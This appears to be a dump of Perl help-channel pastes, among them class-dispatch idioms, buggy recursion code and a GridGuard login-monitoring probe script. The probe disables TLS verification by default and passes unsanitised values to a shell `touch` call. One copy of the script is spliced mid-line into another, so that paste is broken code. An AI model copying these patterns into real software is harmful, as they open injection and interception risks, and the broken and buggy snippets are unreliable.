    if (class($in) eq "HTTP::Request") {
	# do something...                                                                                                                                                                
	print "if case\n\n";
	print $in->contents; # ...for example                                                                                                                                            
    } elsif (class($in) eq "HTTP::Response") {
	# do something                                                                                                                                                                   
	print "elsif case\n\n";
	print $in->contents; # ...for example                                                                                                                                            
    }
}





# Output is
# Use of inherited AUTOLOAD for non-method Provisioner::Controller::Example::class() is deprecated at /home/test/provisioner/script/../lib/Provisioner/Controller/Example.pm line 12.
# Undefined subroutine &Provisioner::Controller::Example::class called at /home/test/perl5/lib/perl5/SOAP/Lite.pm line 2987.


who: altreus
where: localhost:perlbot:#perl
what: like this
paste:
my $item = some_procedure;

switch ($item->$_isa($_)) {
    case "Class::A": {
        do_this
    }
    case "Class::B":
    case "Class::C": {
        do_that
    }
    default: {
        do_the_other
    }
}

#

if ($item->$_isa("Class::A")) {
    do_this
}
elsif ($item->$_isa("Class::B") or $item->$_isa("Class::C")) {
    do_that
}
else {
    do_the_other
}


who: pink_mist
where: localhost:perlbot:#perl
what: Altreus, something like this?
paste:
#!/usr/bin/perl

use strict;
use warnings;
use feature 'say';
use Mojo::UserAgent;

sub check :prototype(&@) {
  my $cb = shift;

  while (@_) {
    for ($_[0]) { return $_[1]->($_) if $cb->(); }
    shift; shift;
  }
}

my $ua = Mojo::UserAgent->new();

check(sub { $ua->isa($_) },
  'Foo::Bar'   => sub { say "Nooooooo..."; },
  'Baz'        => sub { say "Noooooo..."; },
  'Mojo::Base' => sub { say "Wheeee!"; },
  'Quux'       => sub { say "Noooooooo......"; },
);


where: localhost:perlbot:#perl
paste:
Initial input is...

[ { a => 1, b => 2, c => 3  }, { d => 4, e => 5 }, [ 6, 7, 8 ], 9, 10, 11, [ 12, 13, 14 ] ]

And the output should be that with every number incremented by 1.

 sub addtwo {
 
    my $params = shift;

    my $s = $params->{structure}

    # 
    if (ref($s) eq "LIST") {
         $c = 0;
        foreach $e (@{$s}) {
            $s->[$c] = addtwo({ structures => $e });
            $c+;
        }

    # 
    } elsif (ref($s) eq "HASH") {

        if (scalar keys %{$s} == 0) {
            return undef;
        } else {
            foreach my $e (values %{$s}) {
                $s{$e} = addtwo({ structure => $s->{$e} });
            }
        }
    
    } else {
        $s = 1;
    }

    return $c;

}


who: kuomi
where: localhost:perlbot:#perl
what: How to fix this
paste:
# Initial input is...

# [ { a => 1, b => 2, c => 3  }, { d => 4, e => 5 }, [ 6, 7, 8 ], 9, 10, 11, [ 12, 13, 14 ] ]

# And the output should be that with every number incremented by 1.

 sub addtwo {
 
    my $params = shift;

    my $s = $params->{structure}

    # 
    if (ref($s) eq "LIST") {
         $c = 0;
        foreach $e (@{$s}) {
            $s->[$c] = addtwo({ structures => $e });
            $c+;
        }

    # 
    } elsif (ref($s) eq "HASH") {

        if (scalar keys %{$s} == 0) {
            return undef;
        } else {
            foreach my $e (values %{$s}) {
                $s{$e} = addtwo({ structure => $s->{$e} });
            }
        }
    
    } else {
        $s = 1;
    }

    return $c;

}


who: kuomi
where: localhost:perlbot:#perl
paste:
 sub addone {
 
    my $params = shift;

    my $s = $params->{structure};

    # 
    if (ref($s) eq "ARRAY") {
        $c = 0;
        foreach $e (@{$s}) {
            $s->[$c] = addone({ structures => $e });
            $c++;
        }

    # 
    } elsif (ref($s) eq "HASH") {

        if (scalar keys %{$s} == 0) {
            return undef;
        } else {
            foreach my $e (keys %{$s}) {
                $s{$e} = addone({ structure => $s->{$e} });
            }
        }
    
    } else {
        $s = 1;
    }

    return $c;

}


where: localhost:perlbot:#perl
paste:
# Insert more rows in a transaction
eval {
  my $tx = $db->begin;
  $db->query('insert into names (name) values (?)', 'Baerbel');
  $db->query('insert into names (name) values (?)', 'Wolfgang');
  $tx->commit;
};


who: hydrian
where: localhost:perlbot:#perl
what: LWP::UserAgent invalid argument
paste:
#!/usr/bin/perl -w

################################################################################
## This is a SyferLock supplied script.
## Version 1.1.0 $Revision$
##
## This script is used to monitor GridGuard servers
## The mandatory arguments are:
##
##   username : the username used to perform a test login
##   realm    : the realm to log into
##   pin      : pin set for the test user
##   corner   : corner set for the test user
##   basedn   : base DN to be used to bind using nonce
##
## Option arguments
##   httpsport    : the https port to connect to (default: 443)
##   ldapport     : the ldap port to bind to to de-nonce (default: usually 389)
##   refurl       : the referer URL sent to the GridGuard sevrer during login.
##                  Some realm types require a specific format.
##                  (default: https://{Server}:${HTTPPort}/web/login)
##   usernamefield: The HTML field name that contains the username (default: uname)
##   timeout      : Timeout
## Arguments must be in the following format:
##
##  httpsport=<port>;ldapport=<port>;username=<username>;realm=<realm>;pin=<pin>;corner=<corner>;basedn=<base-dn>
## Example:
##  set monitor ...  -scriptArgs "httpsport=443;ldapport=389;username=test00001;realm=RealmName;pin=12345;
##                corner=1;basedn=ou=test-info,dc=gridguard,dc=syferlock,dc=com"
##
## Corner 1: Upper Left
## Corner 2: Upper Center
## Corner 3: Upper Right
## Corner 4: Middle Left
## Corner 5: Middle Right
## Corner 6: Lower
################################################################################

use strict;
use warnings;
use File::stat;
use HTTP::Request::Common;
use HTTP::Cookies;
use IO::Socket::SSL qw( SSL_VERIFY_NONE SSL_VERIFY_PEER );
use LWP::UserAgent 6;
use LWP::Protocol::https;
use MIME::Base64;
use Net::LDAP;
use Net::LDAPS;
use Scalar::Util qw(looks_like_number);
use Sys::Syslog;
use URI::Escape;
use URI::URL;
use Netscaler::KAS;

sub grid_probe {
  ## There must be 2 arguments to this function.
  ## 1. First argument is the IP that has to be probed.
  ## 2. Second argument is the port to connect to.
  ## 3. Arguments to be used during probing.
  ## 4. Timeout

  openlog( "nsgrid", "ndelay,pid", "local0" );
  syslog( 'debug', 'grid_probe sub aurguments: ' . join( '|', @_ ) );
  my ( $server, $ignore, $args, $timeout ) = (@_);
  $ignore = 'ignore';
  syslog( 'debug', 'Args values ' . $args );
  if ( scalar(@_) < 4 ) {
    return log_and_exit( $server, 1, "Invalid number of arguments" );
  }

  ## Parse the argument given, to get test params. If parsing fails, it is monitoring probe failure.
  ##  port=<port>;username=<username>;realm=<realm>;pin=<pin>;corner=<corner>;basedn=<basedn>

  my (
    $uname,         $https_port, $ldap_port,     $realm,
    $pin,           $corner,     $nonce_base_dn, $referer,
    $userNameField, $enforceTLSVerify
  );

  #syslog('debug',$args);
  my @argPairs = split( ';', $args );

  #syslog('debug',@argPairs);
  my %optionArr;

  my $key;
  for my $pair (@argPairs) {

    if ( $pair =~ /^([a-zA-Z0-9_]*)\=(.*)$/ ) {
      $key = lc($1);
      $optionArr{$key} = $2;
      ##syslog('debug', 'Config Option - '.$key.':'.$2);
    }
  }

  my @keyList   = keys(%optionArr);
  my @valueList = values(%optionArr);
  ##syslog('debug', join(';',@keyList)) ;
  ##syslog('debug', join(';',@valueList)) ;

  $https_port = ( $optionArr{'httpsport'} ) ? $optionArr{'httpsport'} : 443;
  $ldap_port  = ( $optionArr{'ldapport'} )  ? $optionArr{'ldapport'}  : 389;
  $uname      = $optionArr{'username'};
  $realm      = $optionArr{'realm'};
  $pin        = $optionArr{'pin'};
  $corner     = $optionArr{'corner'};
  $nonce_base_dn = $optionArr{'basedn'};
  $referer =
    ( $optionArr{'refurl'} )
    ? $optionArr{'refurl'}
    : sprintf( "https://%s:%d/web/login", $server, $https_port );
  $userNameField =
    ( $optionArr{'usernamefield'} ) ? $optionArr{'usernamefield'} : 'uname';
  $enforceTLSVerify =
    ( $optionArr{'enforceTLSVerify'} )
    ? $optionArr{'enforceTLSVerify'}
    : 0;

  check_lock( $server, $timeout, $realm );
  syslog( 'debug',
        ' $server:'
      . $server
      . ' $https_port:'
      . $https_port
      . ' $ldap_port:'
      . $ldap_port
      . ' $uname:'
      . $uname
      . ' $realm:'
      . $realm
      . ' $pin:'
      . $pin
      . ' $corner:'
      . $corner
      . ' $nonce_base_dn:'
      . $nonce_base_dn
      . ' $timeout:'
      . $timeout
      . ' $referer:'
      . $referer
      . ' $userNameField:'
      . $userNameField
      . ' $enforceTLSVerify:'
      . $enforceTLSVerify );

  syslog( 'debug',
    ( ($enforceTLSVerify) ? 'Enabled' : 'Disabled' ) . ' SSL Verification' );
  $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME} = ($enforceTLSVerify) ? 1 : 0;
  my $browser = LWP::UserAgent->new(

    #max_redirect => 0,
    #timeout      => $timeout,
    ssl_opts => {
      verify_hostname => ( ($enforceTLSVerify) ? 1 : 0 ),
      SSL_verify_mode =>
        ( ($enforceTLSVerify) ? SSL_VERIFY_PEER : SSL_VERIFY_NONE )
    }
  );

  ## Building POST
  my $urlOrigin = sprintf( "https://%s:%d", $server, $https_port );
  $browser->cookie_jar( {} );
  my $url = $urlOrigin . '/gridguard/Start';
  syslog( 'debug', 'Posting to ' . $url );
  my $response = $browser->post(
    $url,
    [
      $userNameField => $uname,
      'realm'        => $realm
    ]

    #Content => [
    #  'Referer' => $referer
    #]
  );

  if ( $response->code == 302 ) {
    $url = $urlOrigin . '/gridguard/Grid';
    syslog( 'debug', 'Posting to ' . $url );
    $response = $response = $browser->post($url);
    if ( $response->is_success ) {
      my $grid_html = $response->content;
      my $grid_pin = determine_gridpin( $pin, $corner, $grid_html );

      if ( !looks_like_number($grid_pin) ) {
        return log_and_exit( $server, 4,
          sprintf( "Unable to determine grid pin. GridPIN = %s", $grid_pin ),
          $realm );
      }

      syslog( 'debug', "grid_pin = $grid_pin" );
      my $csrf = determine_csrf($grid_html);
      if ( length($csrf) == 0 ) {
        return log_and_exit( $server, 5, sprintf("Unable to determine CSRF") );
      }
      syslog( 'debug', "csrf = $csrf\n" );

      $response = $browser->post(
        $url,
        [
          'grid.gridcode'  => $grid_pin,
          'CSRF'           => $csrf,
          'grid.keytime'   => 0,
          'grid.starttime' => 0,
          'grid.doLogon'   => 'Wait...'
        ]
      );
      if ( $response->is_success ) {
        $url = $urlOrigin . '/gridguard/rest/secgrid';
        $response = $browser->post( $url, [ 'CSRF' => $csrf ] );
        if ( $response->is_success ) {
          my $secgrid = $response->content;
          if ( length($secgrid) == 0 ) {
            return log_and_exit( $server, 8,
              sprintf("Unable to determine secgrid"), $realm );
          }

          my ( $ignore, @tokens ) = split /[:\/]/, $secgrid;

          my $username = "";
          my $nonce_id = "";
          if ( my $t = shift(@tokens) ) {
            $username = decode_base64($t);
          }
          if ( my $t = shift(@tokens) ) {
            $nonce_id = decode_base64($t);
          }

          if ( ( length($username) == 0 ) || ( length($nonce_id) == 0 ) ) {
            return log_and_exit(
              $server, 8,
              sprintf(
                "Unable to determine username[%s] or nonce_id[%s]",
                $username, $nonce_id
              ),
              $realm
            );
          }

          my ( $ret, $desc ) =
            verify_nonce( $server, $ldap_port, $timeout, $nonce_base_dn,
            $username, $nonce_id, $enforceTLSVerify );
          if ( $ret != 0 ) {
            return log_and_exit( $server, $ret, $desc, $realm );
          }
          clear_lock( $server, $realm );
          closelog();
          return ( 0, $desc );
        }
        else {
          dump_httpResp($response);
          return log_and_exit(
            $server, 7,
            sprintf(
              "Submit to gridguard/rest/secgrid failed. Response = [%d;%s]",
              $response->code, $response->message, $realm
            )
          );
        }
      }
      else {
        dump_httpResp($response);
        return log_and_exit(
          $server, 6,
          sprintf(
            "Submit to gridguard/Start with PIN failed. Response = [%d;%s]",
            $response->code, $response->message
          ),
          $realm
        );
      }
    }
    else {
      dump_httpResp($response);
      return log_and_exit(
        $server, 3,
        sprintf(
          "Submit to gridguard/Start failed. Response = [%d;%s]",
          $response->code, $response->message
        ),
        $realm
      );
    }
  }
  else {
    dump_httpResp($response);
    return log_and_exit(
      $server, 2,
      sprintf(
        "Did not receive 302 on submit to gridguard/Start. Response = [%d;%s]",
        $response->code, $response->message
      ),
      $realm
    );
  }
}

sub log_and_exit {
  my ( $server, $err_code, $err_string, $realm ) = (@_);
  syslog(
    'warning',
    sprintf(
      "gridguard server %s marked down. error code : %s, description = %s",
      $server, $err_code, $err_string
    )
  );
  clear_lock( $server, $realm );
  closelog();
  return ( $err_code, $err_string );
}

sub determine_gridpin {
  my ( $pin, $corner, $grid_html ) = (@_);

  my $grid_pin = "";
  for my $c ( split //, $pin ) {
    my $regex =
      sprintf( "<div class='ch'>%s</div>.*?<div class='cr c%d'>(\\d)</div>",
      $c, $corner );
    my ($pinChar) = ( $grid_html =~ m/$regex/ );
    $grid_pin .= $pinChar;
  }
  return $grid_pin;
}

sub determine_csrf {
  my ($grid_html) = (@_);
  my ($csrf) =
    ( $grid_html =~ m/input type="hidden" name="CSRF" value="(.*?)"/ );
  return $csrf;
}

sub verify_nonce {
  my ( $server, $port, $timeout, $basedn, $uname, $password, $verifyTLS ) = @_;
  my $serverStr = $server . ":" . $port;
  if ( $serverStr != /\:\/\// ) {
    $serverStr = "ldap://" . $serverStr;
  }
  my $server_uri_parsed = URI->new($serverStr);
  my $ldap              = Net::LDAP->new(
    $server_uri_parsed->scheme . '://'
      . $server_uri_parsed->host . ":"
      . $server_uri_parsed->port,
    timeout => $timeout,
    verify  => ($verifyTLS)
    ? 'require'
    : 'none'

  ) or return ( -1, $@ );

  my $dn = sprintf( "cn=%s,%s", $un#!/usr/bin/perl -w

################################################################################
## This is a SyferLock supplied script.
## Version 1.1.0 $Revision$
##
## This script is used to monitor GridGuard servers
## The mandatory arguments are:
##
##   username : the username used to perform a test login
##   realm    : the realm to log into
##   pin      : pin set for the test user
##   corner   : corner set for the test user
##   basedn   : base DN to be used to bind using nonce
##
## Option arguments
##   httpsport    : the https port to connect to (default: 443)
##   ldapport     : the ldap port to bind to to de-nonce (default: usually 389)
##   refurl       : the referer URL sent to the GridGuard sevrer during login.
##                  Some realm types require a specific format.
##                  (default: https://{Server}:${HTTPPort}/web/login)
##   usernamefield: The HTML field name that contains the username (default: uname)
##   timeout      : Timeout
## Arguments must be in the following format:
##
##  httpsport=<port>;ldapport=<port>;username=<username>;realm=<realm>;pin=<pin>;corner=<corner>;basedn=<base-dn>
## Example:
##  set monitor ...  -scriptArgs "httpsport=443;ldapport=389;username=test00001;realm=RealmName;pin=12345;
##                corner=1;basedn=ou=test-info,dc=gridguard,dc=syferlock,dc=com"
##
## Corner 1: Upper Left
## Corner 2: Upper Center
## Corner 3: Upper Right
## Corner 4: Middle Left
## Corner 5: Middle Right
## Corner 6: Lower
################################################################################

use strict;
use warnings;
use File::stat;
use HTTP::Request::Common;
use HTTP::Cookies;
use IO::Socket::SSL qw( SSL_VERIFY_NONE SSL_VERIFY_PEER );
use LWP::UserAgent 6;
use LWP::Protocol::https;
use MIME::Base64;
use Net::LDAP;
use Net::LDAPS;
use Scalar::Util qw(looks_like_number);
use Sys::Syslog;
use URI::Escape;
use URI::URL;
use Netscaler::KAS;

sub grid_probe {
  ## There must be 2 arguments to this function.
  ## 1. First argument is the IP that has to be probed.
  ## 2. Second argument is the port to connect to.
  ## 3. Arguments to be used during probing.
  ## 4. Timeout

  openlog( "nsgrid", "ndelay,pid", "local0" );
  syslog( 'debug', 'grid_probe sub aurguments: ' . join( '|', @_ ) );
  my ( $server, $ignore, $args, $timeout ) = (@_);
  $ignore = 'ignore';
  syslog( 'debug', 'Args values ' . $args );
  if ( scalar(@_) < 4 ) {
    return log_and_exit( $server, 1, "Invalid number of arguments" );
  }

  ## Parse the argument given, to get test params. If parsing fails, it is monitoring probe failure.
  ##  port=<port>;username=<username>;realm=<realm>;pin=<pin>;corner=<corner>;basedn=<basedn>

  my (
    $uname,         $https_port, $ldap_port,     $realm,
    $pin,           $corner,     $nonce_base_dn, $referer,
    $userNameField, $enforceTLSVerify
  );

  #syslog('debug',$args);
  my @argPairs = split( ';', $args );

  #syslog('debug',@argPairs);
  my %optionArr;

  my $key;
  for my $pair (@argPairs) {

    if ( $pair =~ /^([a-zA-Z0-9_]*)\=(.*)$/ ) {
      $key = lc($1);
      $optionArr{$key} = $2;
      ##syslog('debug', 'Config Option - '.$key.':'.$2);
    }
  }

  my @keyList   = keys(%optionArr);
  my @valueList = values(%optionArr);
  ##syslog('debug', join(';',@keyList)) ;
  ##syslog('debug', join(';',@valueList)) ;

  $https_port = ( $optionArr{'httpsport'} ) ? $optionArr{'httpsport'} : 443;
  $ldap_port  = ( $optionArr{'ldapport'} )  ? $optionArr{'ldapport'}  : 389;
  $uname      = $optionArr{'username'};
  $realm      = $optionArr{'realm'};
  $pin        = $optionArr{'pin'};
  $corner     = $optionArr{'corner'};
  $nonce_base_dn = $optionArr{'basedn'};
  $referer =
    ( $optionArr{'refurl'} )
    ? $optionArr{'refurl'}
    : sprintf( "https://%s:%d/web/login", $server, $https_port );
  $userNameField =
    ( $optionArr{'usernamefield'} ) ? $optionArr{'usernamefield'} : 'uname';
  $enforceTLSVerify =
    ( $optionArr{'enforceTLSVerify'} )
    ? $optionArr{'enforceTLSVerify'}
    : 0;

  check_lock( $server, $timeout, $realm );
  syslog( 'debug',
        ' $server:'
      . $server
      . ' $https_port:'
      . $https_port
      . ' $ldap_port:'
      . $ldap_port
      . ' $uname:'
      . $uname
      . ' $realm:'
      . $realm
      . ' $pin:'
      . $pin
      . ' $corner:'
      . $corner
      . ' $nonce_base_dn:'
      . $nonce_base_dn
      . ' $timeout:'
      . $timeout
      . ' $referer:'
      . $referer
      . ' $userNameField:'
      . $userNameField
      . ' $enforceTLSVerify:'
      . $enforceTLSVerify );

  syslog( 'debug',
    ( ($enforceTLSVerify) ? 'Enabled' : 'Disabled' ) . ' SSL Verification' );
  $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME} = ($enforceTLSVerify) ? 1 : 0;
  my $browser = LWP::UserAgent->new(

    #max_redirect => 0,
    #timeout      => $timeout,
    ssl_opts => {
      verify_hostname => ( ($enforceTLSVerify) ? 1 : 0 ),
      SSL_verify_mode =>
        ( ($enforceTLSVerify) ? SSL_VERIFY_PEER : SSL_VERIFY_NONE )
    }
  );

  ## Building POST
  my $urlOrigin = sprintf( "https://%s:%d", $server, $https_port );
  $browser->cookie_jar( {} );
  my $url = $urlOrigin . '/gridguard/Start';
  syslog( 'debug', 'Posting to ' . $url );
  my $response = $browser->post(
    $url,
    [
      $userNameField => $uname,
      'realm'        => $realm
    ]

    #Content => [
    #  'Referer' => $referer
    #]
  );

  if ( $response->code == 302 ) {
    $url = $urlOrigin . '/gridguard/Grid';
    syslog( 'debug', 'Posting to ' . $url );
    $response = $response = $browser->post($url);
    if ( $response->is_success ) {
      my $grid_html = $response->content;
      my $grid_pin = determine_gridpin( $pin, $corner, $grid_html );

      if ( !looks_like_number($grid_pin) ) {
        return log_and_exit( $server, 4,
          sprintf( "Unable to determine grid pin. GridPIN = %s", $grid_pin ),
          $realm );
      }

      syslog( 'debug', "grid_pin = $grid_pin" );
      my $csrf = determine_csrf($grid_html);
      if ( length($csrf) == 0 ) {
        return log_and_exit( $server, 5, sprintf("Unable to determine CSRF") );
      }
      syslog( 'debug', "csrf = $csrf\n" );

      $response = $browser->post(
        $url,
        [
          'grid.gridcode'  => $grid_pin,
          'CSRF'           => $csrf,
          'grid.keytime'   => 0,
          'grid.starttime' => 0,
          'grid.doLogon'   => 'Wait...'
        ]
      );
      if ( $response->is_success ) {
        $url = $urlOrigin . '/gridguard/rest/secgrid';
        $response = $browser->post( $url, [ 'CSRF' => $csrf ] );
        if ( $response->is_success ) {
          my $secgrid = $response->content;
          if ( length($secgrid) == 0 ) {
            return log_and_exit( $server, 8,
              sprintf("Unable to determine secgrid"), $realm );
          }

          my ( $ignore, @tokens ) = split /[:\/]/, $secgrid;

          my $username = "";
          my $nonce_id = "";
          if ( my $t = shift(@tokens) ) {
            $username = decode_base64($t);
          }
          if ( my $t = shift(@tokens) ) {
            $nonce_id = decode_base64($t);
          }

          if ( ( length($username) == 0 ) || ( length($nonce_id) == 0 ) ) {
            return log_and_exit(
              $server, 8,
              sprintf(
                "Unable to determine username[%s] or nonce_id[%s]",
                $username, $nonce_id
              ),
              $realm
            );
          }

          my ( $ret, $desc ) =
            verify_nonce( $server, $ldap_port, $timeout, $nonce_base_dn,
            $username, $nonce_id, $enforceTLSVerify );
          if ( $ret != 0 ) {
            return log_and_exit( $server, $ret, $desc, $realm );
          }
          clear_lock( $server, $realm );
          closelog();
          return ( 0, $desc );
        }
        else {
          dump_httpResp($response);
          return log_and_exit(
            $server, 7,
            sprintf(
              "Submit to gridguard/rest/secgrid failed. Response = [%d;%s]",
              $response->code, $response->message, $realm
            )
          );
        }
      }
      else {
        dump_httpResp($response);
        return log_and_exit(
          $server, 6,
          sprintf(
            "Submit to gridguard/Start with PIN failed. Response = [%d;%s]",
            $response->code, $response->message
          ),
          $realm
        );
      }
    }
    else {
      dump_httpResp($response);
      return log_and_exit(
        $server, 3,
        sprintf(
          "Submit to gridguard/Start failed. Response = [%d;%s]",
          $response->code, $response->message
        ),
        $realm
      );
    }
  }
  else {
    dump_httpResp($response);
    return log_and_exit(
      $server, 2,
      sprintf(
        "Did not receive 302 on submit to gridguard/Start. Response = [%d;%s]",
        $response->code, $response->message
      ),
      $realm
    );
  }
}

sub log_and_exit {
  my ( $server, $err_code, $err_string, $realm ) = (@_);
  syslog(
    'warning',
    sprintf(
      "gridguard server %s marked down. error code : %s, description = %s",
      $server, $err_code, $err_string
    )
  );
  clear_lock( $server, $realm );
  closelog();
  return ( $err_code, $err_string );
}

sub determine_gridpin {
  my ( $pin, $corner, $grid_html ) = (@_);

  my $grid_pin = "";
  for my $c ( split //, $pin ) {
    my $regex =
      sprintf( "<div class='ch'>%s</div>.*?<div class='cr c%d'>(\\d)</div>",
      $c, $corner );
    my ($pinChar) = ( $grid_html =~ m/$regex/ );
    $grid_pin .= $pinChar;
  }
  return $grid_pin;
}

sub determine_csrf {
  my ($grid_html) = (@_);
  my ($csrf) =
    ( $grid_html =~ m/input type="hidden" name="CSRF" value="(.*?)"/ );
  return $csrf;
}

sub verify_nonce {
  my ( $server, $port, $timeout, $basedn, $uname, $password, $verifyTLS ) = @_;
  my $serverStr = $server . ":" . $port;
  if ( $serverStr != /\:\/\// ) {
    $serverStr = "ldap://" . $serverStr;
  }
  my $server_uri_parsed = URI->new($serverStr);
  my $ldap              = Net::LDAP->new(
    $server_uri_parsed->scheme . '://'
      . $server_uri_parsed->host . ":"
      . $server_uri_parsed->port,
    timeout => $timeout,
    verify  => ($verifyTLS)
    ? 'require'
    : 'none'

  ) or return ( -1, $@ );

  my $dn = sprintf( "cn=%s,%s", $uname, $basedn );
  my $msg = $ldap->bind( $dn, password => $password );
  return ( $msg->code, $msg->error_text );
}

sub check_lock {
  my $lockDir = '/tmp';
  my ( $serverName, $timeout, $realm ) = (@_);
  my $lockFileName =
    $lockDir . '/nsgrid-' . $serverName . '-' . $realm . '.lock';
  if ( -e $lockFileName ) {
    ##syslog('debug', $lockFileName.' lockfile detected');
    my $lockFileATime = scalar stat($lockFileName)->atime;
    my $expireTime    = int($lockFileATime) + int($timeout);
    ##syslog('debug', 'Time calculation '.time().' '.$lockFileATime.' '.int($timeout).' '.$expireTime);
    if ( time() > $expireTime ) {
      syslog( 'debug', "Expired lock cleared: " . $lockFileName );
      clear_lock( $serverName, $realm );
    }
    else {
      syslog( 'notice', "Lock Collision: " . $lockFileName );
      log_and_exit( $serverName, 0, 'Lock Collision' );
    }
  }
  syslog( 'debug', 'Writing lock file: ' . $lockFileName );
  system( '/usr/bin/touch ' . $lockFileName );
  return 0;

}

sub clear_lock {
  my $lockDir = '/tmp';
  my ( $serverName, $realm ) = (@_);
  my $lockFileName =
    $lockDir . '/nsgrid-' . $serverName . '-' . $realm . '.lock';
  if ( -e $lockFileName ) {
    syslog( 'debug', 'Clearing lock file: ' . $lockFileName );
    unlink($lockFileName);
  }
  return 0;
}

sub dump_httpResp {
  my ($response) = (@_);

  syslog( 'debug', 'HTTP Response Code: ' . $response->code );
  syslog( 'debug', 'HTTP Response Headers: ' . $response->headers_as_string );
  syslog( 'debug', 'HTTP Response Content: ' . $response->content );
  my $fh;
  if ( !open( $fh, '>', '/tmp/nsgrid-failed-request' ) ) {
    syslog( 'debug', 'Failed to open request dump file.' );
  }
  if ( !say $fh $response->as_string() ) {
    syslog( 'debug', 'Failed to write $response to file.' );
  }
  close($fh);
  return 0;
}

## Register gridgurd probe handler, to the KAS module.
probe( \&grid_probe );

#my ($ret, $msg) = grid_probe('10.1.2.66', 80, 'port=80;username=test00001;realm=ArrayRealm;pin=11111;corner=1;basedn=ou=test,dc=gridguard,dc=syferlock,dc=com');
#print "Ret = ", $ret, "; Msg = ", $msg, "\n";
ame, $basedn );
  my $msg = $ldap->bind( $dn, password => $password );
  return ( $msg->code, $msg->error_text );
}

sub check_lock {
  my $lockDir = '/tmp';
  my ( $serverName, $timeout, $realm ) = (@_);
  my $lockFileName =
    $lockDir . '/nsgrid-' . $serverName . '-' . $realm . '.lock';
  if ( -e $lockFileName ) {
    ##syslog('debug', $lockFileName.' lockfile detected');
    my $lockFileATime = scalar stat($lockFileName)->atime;
    my $expireTime    = int($lockFileATime) + int($timeout);
    ##syslog('debug', 'Time calculation '.time().' '.$lockFileATime.' '.int($timeout).' '.$expireTime);
    if ( time() > $expireTime ) {
      syslog( 'debug', "Expired lock cleared: " . $lockFileName );
      clear_lock( $serverName, $realm );
    }
    else {
      syslog( 'notice', "Lock Collision: " . $lockFileName );
      log_and_exit( $serverName, 0, 'Lock Collision' );
    }
  }
  syslog( 'debug', 'Writing lock file: ' . $lockFileName );
  system( '/usr/bin/touch ' . $lockFileName );
  return 0;

}

sub clear_lock {
  my $lockDir = '/tmp';
  my ( $serverName, $realm ) = (@_);
  my $lockFileName =
    $lockDir . '/nsgrid-' . $serverName . '-' . $realm . '.lock';
  if ( -e $lockFileName ) {
    syslog( 'debug', 'Clearing lock file: ' . $lockFileName );
    unlink($lockFileName);
  }
  return 0;
}

sub dump_httpResp {
  my ($response) = (@_);

  syslog( 'debug', 'HTTP Response Code: ' . $response->code );
  syslog( 'debug', 'HTTP Response Headers: ' . $response->headers_as_string );
  syslog( 'debug', 'HTTP Response Content: ' . $response->content );
  my $fh;
  if ( !open( $fh, '>', '/tmp/nsgrid-failed-request' ) ) {
    syslog( 'debug', 'Failed to open request dump file.' );
  }
  if ( !say $fh $response->as_string() ) {
    syslog( 'debug', 'Failed to write $response to file.' );
  }
  close($fh);
  return 0;
}

## Register gridgurd probe handler, to the KAS module.
probe( \&grid_probe );

#my ($ret, $msg) = grid_probe('10.1.2.66', 80, 'port=80;username=test00001;realm=ArrayRealm;pin=11111;corner=1;basedn=ou=test,dc=gridguard,dc=syferlock,dc=com');
#print "Ret = ", $ret, "; Msg = ", $msg, "\n";


where: localhost:perlbot:#perl
paste:
[svetlana /home/private]$ PERL5LIB=/home/private//ikiwiki:/home/private//ikiwiki/cpan:/home/private//lib/perl5:/home/private//pel5/lib/perl5 ikiwiki --setup ~/wiki/ikiwiki.setup --wrappers
Failed to load plugin IkiWiki::Plugin::po: Can't locate Locale/Po4a/Chooser.pm in @INC (you may need to install the Locale::Po4a::Chooser module) (@INC contains: /home/private//lib/perl5/amd64-freebsd-thread-multi /home/private//lib/perl5 /home/private//ikiwiki /home/private//ikiwiki/cpan /home/private//pel5/lib/perl5 /usr/local/lib/perl5/site_perl/mach/5.22 /usr/local/lib/perl5/site_perl /usr/local/lib/perl5/5.22/mach /usr/local/lib/perl5/5.22) at /home/private//lib/perl5/IkiWiki/Plugin/po.pm line 19.
BEGIN failed--compilation aborted at /home/private//lib/perl5/IkiWiki/Plugin/po.pm line 19.
Compilation failed in require at (eval 39) line 2.
BEGIN failed--compilation aborted at (eval 39) line 2.

[svetlana /home/private]$


where: localhost:perlbot:#perl
paste:
[svetlana /home/private]$ PERL5LIB=/home/private//ikiwiki:/home/private//ikiwiki/cpan:/home/private//lib/perl5:/home/private//pel5/lib/perl5 ikiwiki --setup ~/wiki/ikiwiki.setup --wrappers
Failed to load plugin IkiWiki::Plugin::po: Can't locate Locale/Po4a/Chooser.pm in @INC (you may need to install the Locale::Po4a::Chooser module) (@INC contains: /home/private//lib/perl5/amd64-freebsd-thread-multi /home/private//lib/perl5 /home/private//ikiwiki /home/private//ikiwiki/cpan /home/private//pel5/lib/perl5 /usr/local/lib/perl5/site_perl/mach/5.22 /usr/local/lib/perl5/site_perl /usr/local/lib/perl5/5.22/mach /usr/local/lib/perl5/5.22) at /home/private//lib/perl5/IkiWiki/Plugin/po.pm line 19.
BEGIN failed--compilation aborted at /home/private//lib/perl5/IkiWiki/Plugin/po.pm line 19.
Compilation failed in require at (eval 39) line 2.
BEGIN failed--compilation aborted at (eval 39) line 2.
[svetlana /home/private]$ file ~/perl5/lib/perl5/Locale/Po4a/Chooser.pm
/home/private//perl5/lib/perl5/Locale/Po4a/Chooser.pm: Perl5 module source, ASCII text
[svetlana /home/private]$


paste:


#!/usr/bin/env perl
 
use strict;
use warnings;
use utf8;
use Data::Dumper;
 
my(@array,@found,$numrows);
@found = qw(This Is A Few Strings That I Want Printed On Separate Rows Using A Hash Each Line Should Have Five Strings And Each Line Formatted Different So I Want To Put Each Line Into Separate Arrays And Perform Actions On Each Separate);
 
$numrows = 5;
push @array, [ splice @found, 0, $numrows ] while @found;
 
#print Dumper @array;
print "\n";                                                                                                                    
foreach my $i ( @array ) {
    print "@{$i}\n";
}


who: Anno
where: localhost:perlbot:#perl
what: zion: Text::Table solution
paste:
#!/usr/bin/env perl
 
use strict;
use warnings;
use utf8;
use Data::Dumper;
 
my(@array,@found,$numrows);
@found = qw(This Is A Few Strings That I Want Printed On Separate Rows Using A Hash Each Line Should Have Five Strings And Each Line Formatted Different So I Want To Put Each Line Into Separate Arrays And Perform Actions On Each Separate);
 
$numrows = 5;
push @array, [ splice @found, 0, $numrows ] while @found;
 
print Dumper \ @array; # note backslashprint "\n";                                    

use Text::Table;
print Text::Table->new->load(@array}


paste:
